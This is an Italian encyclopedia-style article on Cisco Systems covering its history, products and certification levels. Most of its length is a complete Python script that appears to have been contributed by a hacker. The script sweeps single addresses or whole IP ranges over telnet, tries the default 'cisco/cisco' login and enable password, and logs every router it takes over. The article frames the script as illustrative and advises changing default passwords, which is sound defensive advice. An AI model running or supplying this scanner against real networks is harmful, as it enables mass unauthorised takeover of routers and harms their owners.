Cisco Systems

Da Wikipedia, l'enciclopedia libera.

Cisco Systems
Logo
Nazione bandiera Stati Uniti
Tipologia Società per azioni

Borse valori

Fondazione 1984 a San Jose
Sede principale Bandiera degli Stati Uniti Stati Uniti, San Jose (CA)

Settore

Informatica

Prodotti

Fatturato Green Arrow Up.svg 34,92 miliardi di $ (2007)
Utile netto Green Arrow Up.svg $7,33 miliardi di $ (2007)
Dipendenti 65.545 (2009)
Slogan Welcome To The Human Network
Sito web www.cisco.com
Stub aziende.png Portale Aziende
Vecchio logo della Cisco Systems (usato fino al 2006)

Cisco è una delle aziende leader nella fornitura di apparati di networking. Nasce nel 1984 a San Josè, California, da un gruppo di ricercatori della Stanford University focalizzandosi sulla produzione di router; attualmente oltre 60.000 persone nel mondo vi lavorano. L'attuale amministratore delegato e presidente è John Chambers.

Le sedi in Italia sono:

Cisco produce apparati per il funzionamento della reti LAN, MAN, WAN e VLAN e il sistema operativo Internetwork Operating System (IOS) che le pilota. Nell'ottica della fornitura di soluzioni complete Cisco è entrata anche nel mercato della sicurezza con Firewall e VPN, telefonia con IP Telephony, dell'archiviazione con Storage Area Network (SAN).

L'azienda investe molto nella formazione di professionisti competenti nelle nuove tecnologie sviluppate tramite il database accessibile da internet con tutta la documentazione ed esempi su tutte le apparecchiature e tecnologie. Ha sviluppato inoltre un programma mondiale, chiamato Networking Academy, che permette agli studenti di imparare a progettare, realizzare e mantenere reti in grado di supportare organizzazioni nazionali e globali tramite una piattaforma di e-learning all'avanguardia.

Indice

[modifica] Certificazioni industriali

Esistono 4 livelli di certificazione:

  • Entry Level
    • CCENT (Cisco Certified Entry Networking Technician)
  • Associate
    • CCNA (Cisco Certified Network Associate)
    • CCDA (Cisco Certified Design Associate)
  • Professional
    • CCNP (Cisco Certified Network Professional)
    • CCDP (Cisco Certified Design Professional)
    • CCIP (Cisco Certified Internetwork Professional)
    • CCSP (Cisco Certified Security Professional)
    • CCVP (Cisco Certified Voice Professional)
  • Expert
    • CCIE (Cisco Certified Internetwork Expert)

e varie specializzazioni:

  • Routing e Switching
  • Design
  • Network Security
  • Service Provider
  • Storage Networking
  • Voice

[modifica] CCNA

La Cisco Certified Network Associated (CCNA) è la certificazione di primo livello rilasciata da Cisco Systems a chi intende operare professionalmente su reti Cisco. L'esame per la CCNA richiede conoscenze di base su networking, switching e sui protocolli utilizzati nelle reti LAN e WAN.

[modifica] Cisco e Hackers

La fragilità delle password default di questi router permette ancora lo sfruttamento dell'accesso remoto tramite protocollo telnet. Un hacker ha diffuso questo software che permette di verificare in un range di indirizzi ip se il router ha ancora la password default. Con questo software automatizzato è possibile rilevare le password di molti routers. È consigliato quindi cambiare le password dopo l'acquisto del prodotto. Lo script è stato scritto da ^4st3r1X^ a scopo illustrativo e statistico: In 15 minuti si rilevano 50 router con password default su 400 routers.

#!/usr/bin/python
import socket
import time
import sys
from socket import setdefaulttimeout
timeoutd = 3
setdefaulttimeout(timeoutd)
print """\n\n                    -----------------------------------------------
                    -      Cisco Default Password Scanner         -
                    -          Created by ^4st3r1X^               -
                    -----------------------------------------------
      """
def utilizzo():
   print "\n* Utilizzo: cisco.py -ip [IP] \n* Esempio: cisco.py -ip 82.82.82.82 "
   print "\n\n* Utilizzo: cisco.py -range [IP.*.*.*] \n* Esempio: cisco.py -range 82 "
   print "\n\n* Utilizzo: cisco.py -range1 [IP.IP.*.*] \n* Esempio: cisco.py -range1 82.82 "
   print "\n\n* Utilizzo: cisco.py -range2 [IP.IP.IP.*] \n* Esempio: cisco.py -range2 82.82.82 \n\n"
   exit()
 
def cisco():
   try:
 
      if sys.argv[1] == "-ip":
         ip = sys.argv[2]
         sel = "1"
      if sys.argv[1] == "-range":
         ip = sys.argv[2]
         sel = "2"
      if sys.argv[1] == "-range1":
         ip = sys.argv[2]
         sel = "3"
      if sys.argv[1] == "-range2":
         ip = sys.argv[2]
         sel = "4"
   except:
      utilizzo()       
 
   p = 23
   if sel == "1":
 
      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
      print "\nConnessione in corso: %s" % (ip)
 
      try:
 
          s.connect((ip, p))
 
          print "* Connessione riuscita\n"
          time.sleep(1)
 
          data = s.recv(1000000)
 
          if data.find("Username:") != -1:
 
             print "Login in corso..."
 
             s.send("cisco\n")
 
             time.sleep(1)
 
             s.send("cisco\n")
 
             time.sleep(1)
 
             data = s.recv(100000)
 
             time.sleep(2)
 
             if data.find("% Login invalid") != -1:
 
                print "Login errato"
 
                pass
 
             elif data.find("% Bad passwords") != -1:
 
                print "Login errato"
 
                pass
 
             elif data.find("% Authentication failed") != -1:
 
                print "Login errato"
 
                pass
 
             else:
 
                print ">>Login riuscito"
 
                s.send("enable\n")
 
                time.sleep(1)
                log = open('Cisco.log', 'a')
 
                log.write("%s Login riuscito\nuser:cisco\npass:cisco\n" % (ip))
                log.close()
 
                print "Login come amministratore in corso..."
 
                s.send("cisco\n")
 
                time.sleep(1)
 
                data = s.recv(100000)
 
                time.sleep(1)
 
                if data.find("#") != -1:
 
                   print ">>Login amministratore riuscito"
                   log = open('Cisco.log', 'a')
 
                   log.write("%s Login admin riuscito\npass:cisco\n" % (ip))
                   log.close()
 
                else:
 
                   print "Login admin fallito"
 
                   pass
 
          elif data.find("Password:") != -1:
 
             print "Login in corso..."
 
             s.send("cisco\n")
 
             time.sleep(1)
 
             data = s.recv(100000)
 
             time.sleep(1)
 
             if data.find("% Login invalid") != -1:
 
                print "Login errato"
 
                pass
 
             elif data.find("% Bad passwords") != -1:
 
                print "Login errato"
 
                pass
 
             elif data.find("Password:") != -1:
 
                print "Login errato"
 
                pass
 
             else:
 
                print ">>Login riuscito"
 
                s.send("enable\n")
 
                time.sleep(1)
                log = open('Cisco.log', 'a')
 
                log.write("%s Login riuscito\npass:cisco\n" % (ip))
                log.close()
 
                print "Login come amministratore in corso..."
 
                s.send("cisco\n")
 
                time.sleep(1)
 
                data = s.recv(100000)
 
                time.sleep(1)
 
                if data.find("#") != -1:
 
                   print ">>Login amministratore riuscito"
                   log = open('Cisco.log', 'a')
 
                   log.write("%s Login admin riuscito\npass:cisco\n" % (ip))
                   log.close()
 
                else:
 
                   print "Login admin fallito"
 
                   pass
 
          else:  
 
             print "Login errato"
 
             pass
 
      except socket.error,msg:
 
          print "Connessione rifiutata\n"
 
          s.close()
 
          pass
   elif sel == "2":
      for a in range(1,256):
         for b in range(1,256):
            for c in range(1,256):
               rang = "%s.%d.%d.%d" % (ip,a,b,c)
               timeout = 3
               setdefaulttimeout(timeout)
               s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
               print "\nConnessione in corso: %s" % (rang)
 
               try:
 
                  s.connect((rang, p))
 
                  print "* Connessione riuscita\n"
                  time.sleep(1)
 
                  data = s.recv(1000000)
 
                  if data.find("Username:") != -1:
 
                     print "Login in corso..."
 
                     s.send("cisco\n")
 
                     time.sleep(1)
 
                     s.send("cisco\n")
 
                     time.sleep(1)
 
                     data = s.recv(100000)
 
                     time.sleep(2)
 
                     if data.find("% Login invalid") != -1:
 
                        print "Login errato"
 
                        pass
 
                     elif data.find("% Bad passwords") != -1:
 
                        print "Login errato"
 
                        pass
 
                     elif data.find("% Authentication failed") != -1:
 
                        print "Login errato"
 
                        pass
 
                     else:
 
                        print ">>Login riuscito"
 
                        s.send("enable\n")
 
                        time.sleep(1)
                        log = open('Cisco.log', 'a')
 
                        log.write("%s Login riuscito\nuser:cisco\npass:cisco\n" % (rang))
                        log.close()
 
                        print "Login come amministratore in corso..."
 
                        s.send("cisco\n")
 
                        time.sleep(1)
 
                        data = s.recv(100000)
 
                        time.sleep(1)
 
                        if data.find("#") != -1:
 
                           print ">>Login amministratore riuscito"
                           log = open('Cisco.log', 'a')
 
                           log.write("%s Login admin riuscito\npass:cisco\n" % (rang))
                           log.close()
 
                        else:
 
                           print "Login admin fallito"
 
                           pass
 
                  elif data.find("Password:") != -1:
 
                     print "Login in corso..."
 
                     s.send("cisco\n")
 
                     time.sleep(1)
 
                     data = s.recv(100000)
 
                     time.sleep(1)
 
                     if data.find("% Login invalid") != -1:
 
                        print "Login errato"
 
                        pass
 
                     elif data.find("% Bad passwords") != -1:
 
                        print "Login errato"
 
                        pass
 
                     elif data.find("Password:") != -1:
 
                        print "Login errato"
 
                        pass
 
                     else:
 
                        print ">>Login riuscito"
 
                        s.send("enable\n")
 
                        time.sleep(1)
                        log = open('Cisco.log', 'a')
 
                        log.write("%s Login riuscito\npass:cisco\n" % (rang))
                        log.close()
 
                        print "Login come amministratore in corso..."
 
                        s.send("cisco\n")
 
                        time.sleep(1)
 
                        data = s.recv(100000)
 
                        time.sleep(1)
 
                        if data.find("#") != -1:
 
                           print ">>Login amministratore riuscito"
                           log = open('Cisco.log', 'a')
 
                           log.write("%s Login admin riuscito\npass:cisco\n" % (rang))
                           log.close()
 
                        else:
 
                           print "Login admin fallito"
 
                           pass
 
                  else:  
 
                     print "Login errato"
 
                     pass
                  s.close()
 
               except socket.error,msg:
 
                  print "Connessione rifiutata\n"
 
                  s.close()
 
                  pass
   elif sel == "3":
      for a in range(1,256):
         for b in range(1,256):
            rang = "%s.%d.%d" % (ip,a,b)
            timeout = 3
            setdefaulttimeout(timeout)
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
            print "\nConnessione in corso: %s" % (rang)
 
            try:
 
               s.connect((rang, p))
 
               print "* Connessione riuscita\n"
               time.sleep(1)
 
               data = s.recv(1000000)
 
               if data.find("Username:") != -1:
 
                  print "Login in corso..."
 
                  s.send("cisco\n")
 
                  time.sleep(1)
 
                  s.send("cisco\n")
 
                  time.sleep(1)
 
                  data = s.recv(100000)
 
                  time.sleep(2)
 
                  if data.find("% Login invalid") != -1:
 
                     print "Login errato"
 
                     pass
 
                  elif data.find("% Bad passwords") != -1:
 
                     print "Login errato"
 
                     pass
 
                  elif data.find("% Authentication failed") != -1:
 
                     print "Login errato"
 
                     pass
 
                  else:
 
                     print ">>Login riuscito"
 
                     s.send("enable\n")
 
                     time.sleep(1)
                     log = open('Cisco.log', 'a')
 
                     log.write("%s Login riuscito\nuser:cisco\npass:cisco\n" % (rang))
                     log.close()
 
                     print "Login come amministratore in corso..."
 
                     s.send("cisco\n")
 
                     time.sleep(1)
 
                     data = s.recv(100000)
 
                     time.sleep(1)
 
                     if data.find("#") != -1:
 
                        print ">>Login amministratore riuscito"
                        log = open('Cisco.log', 'a')
 
                        log.write("%s Login admin riuscito\npass:cisco\n" % (rang))
                        log.close()
 
                     else:
 
                        print "Login admin fallito"
 
                        pass
 
               elif data.find("Password:") != -1:
 
                  print "Login in corso..."
 
                  s.send("cisco\n")
 
                  time.sleep(1)
 
                  data = s.recv(100000)
 
                  time.sleep(1)
 
                  if data.find("% Login invalid") != -1:
 
                     print "Login errato"
 
                     pass
 
                  elif data.find("% Bad passwords") != -1:
 
                     print "Login errato"
 
                     pass
 
                  elif data.find("Password:") != -1:
 
                     print "Login errato"
 
                     pass
 
                  else:
 
                     print ">>Login riuscito"
 
                     s.send("enable\n")
 
                     time.sleep(1)
                     log = open('Cisco.log', 'a')
 
                     log.write("%s Login riuscito\npass:cisco\n" % (rang))
                     log.close()
 
                     print "Login come amministratore in corso..."
 
                     s.send("cisco\n")
 
                     time.sleep(1)
 
                     data = s.recv(100000)
 
                     time.sleep(1)
 
                     if data.find("#") != -1:
 
                        print ">>Login amministratore riuscito"
                        log = open('Cisco.log', 'a')
 
                        log.write("%s Login admin riuscito\npass:cisco\n" % (rang))
                        log.close()
 
                     else:
 
                        print "Login admin fallito"
 
                        pass
 
               else:  
 
                  print "Login errato"
 
                  pass
               s.close()
 
            except socket.error,msg:
 
               print "Connessione rifiutata\n"
 
               s.close()
 
               pass
   elif sel == "4":
      for a in range(1,256):
         rang = "%s.%d" % (ip,a)
         timeout = 3
         setdefaulttimeout(timeout)
         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
         print "\nConnessione in corso: %s" % (rang)
 
         try:
 
            s.connect((rang, p))
 
            print "* Connessione riuscita\n"
            time.sleep(1)
 
            data = s.recv(1000000)
 
            if data.find("Username:") != -1:
 
               print "Login in corso..."
 
               s.send("cisco\n")
 
               time.sleep(1)
 
               s.send("cisco\n")
 
               time.sleep(1)
 
               data = s.recv(100000)
 
               time.sleep(2)
 
               if data.find("% Login invalid") != -1:
 
                  print "Login errato"
 
                  pass
 
               elif data.find("% Bad passwords") != -1:
 
                  print "Login errato"
 
                  pass
 
               elif data.find("% Authentication failed") != -1:
 
                  print "Login errato"
 
                  pass
 
               else:
 
                  print ">>Login riuscito"
 
                  s.send("enable\n")
 
                  time.sleep(1)
                  log = open('Cisco.log', 'a')
 
                  log.write("%s Login riuscito\nuser:cisco\npass:cisco\n" % (rang))
                  log.close()
 
                  print "Login come amministratore in corso..."
 
                  s.send("cisco\n")
 
                  time.sleep(1)
 
                  data = s.recv(100000)
 
                  time.sleep(1)
 
                  if data.find("#") != -1:
 
                     print ">>Login amministratore riuscito"
                     log = open('Cisco.log', 'a')
 
                     log.write("%s Login admin riuscito\npass:cisco\n" % (rang))
                     log.close()
 
                  else:
 
                     print "Login admin fallito"
 
                     pass
 
            elif data.find("Password:") != -1:
 
               print "Login in corso..."
 
               s.send("cisco\n")
 
               time.sleep(1)
 
               data = s.recv(100000)
 
               time.sleep(1)
 
               if data.find("% Login invalid") != -1:
 
                  print "Login errato"
 
                  pass
 
               elif data.find("% Bad passwords") != -1:
 
                  print "Login errato"
 
                  pass
 
               elif data.find("Password:") != -1:
 
                  print "Login errato"
 
                  pass
 
               else:
 
                  print ">>Login riuscito"
 
                  s.send("enable\n")
 
                  time.sleep(1)
                  log = open('Cisco.log', 'a')
 
                  log.write("%s Login riuscito\npass:cisco\n" % (rang))
                  log.close()
 
                  print "Login come amministratore in corso..."
 
                  s.send("cisco\n")
 
                  time.sleep(1)
 
                  data = s.recv(100000)
 
                  time.sleep(1)
 
                  if data.find("#") != -1:
 
                     print ">>Login amministratore riuscito"
                     log = open('Cisco.log', 'a')
 
                     log.write("%s Login admin riuscito\npass:cisco\n" % (rang))
                     log.close()
 
                  else:
 
                     print "Login admin fallito"
 
                     pass
 
            else:  
 
               print "Login errato"
 
               pass
            s.close()
 
         except socket.error,msg:
 
            print "Connessione rifiutata\n"
 
            s.close()
 
            pass
   print "\n\nScansione terminata: Cisco.log scritto con successo\n"
cisco()

[modifica] Voci correlate

[modifica] Cisco Users Group

Alcuni anni fa Cisco Press, sinergia tra Cisco Systems e Pearson Education, ha lanciato un programma ufficiale per i Cisco Users Group. Attualmente i Cisco Users Group in Italia sono:

[modifica] Collegamenti esterni

Strumenti personali